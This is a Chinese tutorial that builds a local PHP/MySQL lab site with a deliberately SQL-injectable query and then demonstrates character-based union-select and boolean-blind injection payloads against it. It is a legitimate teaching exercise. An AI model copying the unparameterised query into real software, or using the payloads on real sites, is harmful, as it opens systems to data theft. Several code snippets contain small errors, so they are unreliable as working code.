Bootstrap

从开发角度理解漏洞成因(01)

PHP开发漏洞环境(SQL注入)

持续更新中…

文章中代码资源已上传资源,如需要打包好的请点击PHP+MYSQL 注入靶场源码

实现功能:
1、前端文章导航
2、点入内容显示
3、更改传参值显示不同内容

实现步骤:
1、前端页面显示编写 HTML&CSS
2、数据库文章数据导入 - MySQL操作
3、PHP操作MySQL编写 - PHP变量提交

开发环境:PHP5.3 + Apache + MySQL
以下源码都可以使用 phpStudy 搭建

生成前端代码

简单的写一下前端

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>渗透测试小白的靶场</title>  
    <link rel="stylesheet" type="text/css" href="styles.css"> <!-- 加载自定义CSS文件 -->  
    <style>  
        /* 自定义内联CSS样式 */        body {  
            font-family: Arial, sans-serif;  
            background-color: #f1f1f1;  
            margin: 0;  
            padding: 0;  
        }  
  
        header {  
            background-color: #333;  
            padding: 20px;  
            color: #fff;  
            text-align: center;  
        }  
  
        nav {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
  
        nav ul {  
            list-style-type: none;  
            margin: 0;  
            padding: 0;  
        }  
  
        nav ul li {  
            display: inline-block;  
            margin-right: 10px;  
        }  
  
        nav ul li a {  
            color: #fff;  
            text-decoration: none;  
            padding: 5px;  
        }  
  
        section {  
            padding: 20px;  
            text-align: center;  
            color: #333;  
        }  
  
        footer {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
    </style>  
</head>  
<body>  
<header>  
    <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  
    <ul>        <li><a href="index.php">首页</a></li> <!-- 链接index.php -->  
        <li><a href="neirong/News.php">内容</a></li> <!-- 链接News.php -->  
        <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  
    </ul>  
</nav>  
<section>  
    <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  
    <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  
</section>  
<footer>  
    &copy; 2024 Cool Website  
</footer>  
</body>  
</html>

看看效果

生成后端代码

先写一个配置文件,连接本地数据库(conn.php)

<?php  
$conn = mysqli_connect("127.0.0.1","root","root","boke_mysql");  
if(!$conn){  
    echo "数据库连接失败";  
}else{  
    echo "数据库连接成功";  
}  
?>

内容(News.php)

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>渗透测试小白的靶场</title>  
    <link rel="stylesheet" type="text/css" href="../styles.css"> <!-- 加载自定义CSS文件 -->  
    <style>  
        /* 自定义内联CSS样式 */        body {  
            font-family: Arial, sans-serif;  
            background-color: #f1f1f1;  
            margin: 0;  
            padding: 0;  
        }  
  
        header {  
            background-color: #333;  
            padding: 20px;  
            color: #fff;  
            text-align: center;  
        }  
  
        nav {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
  
        nav ul {  
            list-style-type: none;  
            margin: 0;  
            padding: 0;  
        }  
  
        nav ul li {  
            display: inline-block;  
            margin-right: 10px;  
        }  
  
        nav ul li a {  
            color: #fff;  
            text-decoration: none;  
            padding: 5px;  
        }  
  
        section {  
            padding: 20px;  
            text-align: center;  
            color: #333;  
        }  
  
        footer {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
    </style>  
</head>  
<body>  
<header>  
    <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  
    <ul>        <li><a href="../index.php">首页</a></li> <!-- 链接index.php -->  
        <li><a href="News.php">内容</a></li> <!-- 链接News.php -->  
        <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  
    </ul>  
</nav>  
<section>  
    <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  
    <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  
    <div class="search">  
        <form method="post" action=" ">  
            <input type="search" name="title" id="title" placeholder="请输入搜索内容">  
            <button type="submit">搜索</button>  
        </form>    </div></section>  
<footer>  
    &copy; 2024 Cool Website  
</footer>  
</body>  
</html>  
?>

看下效果

数据库

在数据库中创建一个表,并生成一些内容

create database boke_mysql; -- 创建boke_mysql数据库
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL); -- 创建users表,id,username,email 字段


CREATE TABLE posts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(100) NOT NULL,
    content TEXT,
    user_id INT,
    FOREIGN KEY (user_id) REFERENCES users(id)
); -- 创建posts表


-- 向 users 表插入数据
INSERT INTO users (username, email) VALUES
    ('test1', '[email protected]'),
    ('test2', '[email protected]');

-- 向 posts 表插入数据
INSERT INTO posts (title, content, user_id) VALUES
    ('测试内容(1)', '这是第一条测试内容', 1),
    ('测试内容(2)', '这是第二条测试内容', 2);
    ('测试内容(3)', '这是第三条测试内容', 3);

看看结果


写功能

在News.php中写一些功能,将查询结果从数据库中的表输出在内容板块

<?php  
include("../config/conn.php"); // 包含数据库配置文件  
  
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $title = $_POST["title"];  
  
    // 执行查询语句  
    $sql = "SELECT * FROM posts WHERE id = '$title'";  
    $result = mysqli_query($conn, $sql);  
  
    if ($result && mysqli_num_rows($result) > 0) {  
        // 循环遍历结果集  
        while ($row = mysqli_fetch_assoc($result)) {  
            // 输出每行数据  
            echo "<p>" . $row['id'] . "</p>";  
            echo "<p>" . $row['title'] . "</p>";  
            echo "<p>" . $row['content'] . "</p>";  
        }  
    } else {  
        echo "<p>" . "未查询到结果" . "</p>";  
    }  
}  
?>

调试功能

正常的来输入一个 1 试试,发现能正常返回结果

测试SQL注入漏洞

只说几个典型的例子,其他注入类型都大差不差。

字符型注入

找到关键性语句,$sql

$sql = "SELECT * FROM posts WHERE id = '$title'";   //通过变量$title进行传参

构造恶意语句,不细说了,大家有兴趣的看我以前的文章。

SELECT * FROM posts WHERE id = '1'-- '" 这就型成了闭合
1' order by 4 -- // 查字段数
1' union select 1,2,3,4 --  // 查字段数
-1' union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2,3,4 --  //查表名

布尔盲注

修改后端代码

<?php  
include("../config/conn.php"); // 包含数据库配置文件  
  
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $title = $_POST["title"];  
  
    // 执行查询语句  
    $sql = "SELECT * FROM posts WHERE id = '$title'";  
    $result = mysqli_query($conn, $sql);  
    $row = mysqli_fetch_array($result);  
    if ($row){  
        echo "<p>"."内容存在"."</p>";  
    }else{  
        print_r(mysqli_error());  
    }  
}  
?>

语句构造,通过回显判断是否为真

1' and 1=1 -- 
1' and 1=2 -- 
1' and length(database())=10 -- 
1' and ascii(mid(database(),1,1))<100 -- 
1' and ascii(mid(database(),1,1))=98 -- 


;